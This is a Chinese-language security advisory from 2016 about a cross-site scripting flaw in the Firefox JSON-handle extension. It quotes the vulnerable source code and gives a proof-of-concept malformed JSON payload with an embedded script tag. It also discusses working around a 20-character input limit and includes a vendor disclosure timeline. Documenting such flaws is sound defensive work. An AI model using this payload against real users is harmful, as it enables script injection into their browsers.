[+] Author: evi1m0#sec.ly.com
[+] Team: n0tr00t security team
[+] From: http://www.n0tr00t.com
[+] Create: 2016-11-29

JSON-handle oJsonCheck.oError

剛好距上次發表 ChromeJsonView 的【問題】半年時間,這次簡單描述下 Firefox 瀏覽器中 JsonHandle 最新版存在的安全缺陷,用戶在轉換 JSON 失敗時,由于過濾不嚴謹導致 DOM 解析錯誤代碼時觸發攻擊者構造的 JavaScript 代碼:

resource://jsonhandle-at-gmail-dot-com/data/JSON-handle/js/jsonH.js

    "showErrorTips" : function (sJson) {
        var oJsonCheck = oLineCode(sJson);
        if(oJsonCheck.oError) {
            var s = _pri.oLang.getStr('msg_4') + _pri.oLang.getStr('msg_5', oJsonCheck.oError.line+1) + ' : ' + '<span id="errorTarget">'+oJsonCheck.oError.lineText+'</span>';
            $('#tipsBox').html(s);
            _pri["holdErrorTips"] = false;
        }else{
            //alert('ok');
        }
        $('#errorCode').html(oJsonCheck.dom);

追蹤變量 oJsonCheck.oError.lineText, var oJsonCheck = oLineCode(sJson);, _pri["insertErrorFlag"] :

resource://jsonhandle-at-gmail-dot-com/data/JSON-handle/js/jsonlint.js

    var oLineCode = (function() {
        var _pub_static = function() {
            var _pri = {},
            _pub = {};
            var _init = function(sJson) {
                sJson = _pri.fixReturnline(sJson);
                sJson = _pri.insertErrorFlag(sJson);
                sJson = _pri.escape(sJson);
                sJson = sJson.replace('@鈼?$#errorEm#$鈼咢', '<span class="errorEm">').replace('@鈼?$#/errorEm#$鈼咢', '</span>');
                sJson = '<ol><li><div>' + sJson.split('\n').join('</div></li><li><div>') + '</div></li></ol>'_pub["dom"] = $('<div class="line-code">' + sJson + '</div>');
            };

            _pri["fixReturnline"] = function(s) {
                return s.replace(/\r\n/g, '\n').replace(/\r/g, '\n');
            };

            _pri["insertErrorFlag"] = function(s) {
                var aLine = s.split('\n');
                jsonlint.yy.parseError = function(sError, oError) {
                    var sLine = aLine[oError.line];
                    //console.log(sError, oError);
                    _pub.oError = oError;
                    aLine[oError.line] = sLine.slice(0, oError.pos) + '@鈼?$#errorEm#$鈼咢' + sLine.slice(oError.pos) + '@鈼?$#/errorEm#$鈼咢';
                };

                try {
                    jsonlint.parse(s);
                } catch(e) {
                    _pri["hasError"] = true;
                }
                return aLine.join('\n');
            };

            _pri["escape"] = function(s) {
                s = s || '';
                return s.replace(/\&/g, '&amp;').replace(/\</g, '&lt;').replace(/\>/g, '&gt;').replace(/\"/g, '&quot;').replace(/ /g, '&nbsp;');
            };

            _init.apply(_pub, arguments);
            return _pub;
        };

        return _pub_static;
    } ());

_pri["insertErrorFlag"]:

    var aLine = s.split('\n');
    jsonlint.yy.parseError = function(sError, oError) {
        var sLine = aLine[oError.line];
        //console.log(sError, oError);
        _pub.oError = oError;
        aLine[oError.line] = sLine.slice(0, oError.pos) + '@鈼?$#errorEm#$鈼咢' + sLine.slice(oError.pos) + '@鈼?$#/errorEm#$鈼咢';

根據上面的代碼缺陷我們可以構造一個報錯的 JSON 格式 :

{"Success":true,"Message":"success","Code":200,"ReturnValue":[{"FromCityName":"宜昌","FromCityId":197,"FromCityPy":"","BatchNo":"318_y5abL0_FB_6_3_9","LineProperty":"","ProjectType":7,"ProductId":115590,"Title":"【南昌往返】【雙動往返】【黃金系列】長江三峽宜昌-重慶5晚6日游","SubTitle":"郵輪","Price":3200.00,"ProductUrl":"http://www.ly.com/youlun/tours-115590.html#Resys=318_y5abL0_FB_6_3_9","ProductImgUrl":"http://pic3.40017.cn/c_420x272_001111111.jpg"<script>prompt`a1`//","RedTab":""},]}

不過想要加載外域 JS 進一步利用還有一個小坑在里面,我們通過斷點調試可以看到 sJson, LineText, s 的值分別為:

- ….c_420x272_001111111.jpg"<script>payload:01234567899876543210//","RedTab":""}
- ...0x272_001111111.jpg"<script>payload:0123
- JSON format error@line 1 : <span id="errorTarget">...0x272_001111111.jpg"<script>payload:0123</span>

這是由于代碼中的 upcomingInput 對長度進行了限制,但這不影響我們依然可以利用一些技巧來實施攻擊:

resource://jsonhandle-at-gmail-dot-com/data/JSON-handle/js/jsonlint.js

    upcomingInput:function () {
            var next = this.match;
            if (next.length < 20) {
                next += this._input.substr(0, 20-next.length);
            }
            var s = (next.substr(0,20)+(next.length > 20 ? '...':'')).replace(/\n/g, "");
            return s;
        }

VulnTimeline

  • Find the vulnerability. - 2016/11/25 13:00
  • Report jsonhandle#gmail.com - 2016/11/27 12:10
  • Write the Paper, via @evi1m0. - 2016/11/29 00:00

Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.jmbmsq.com/129/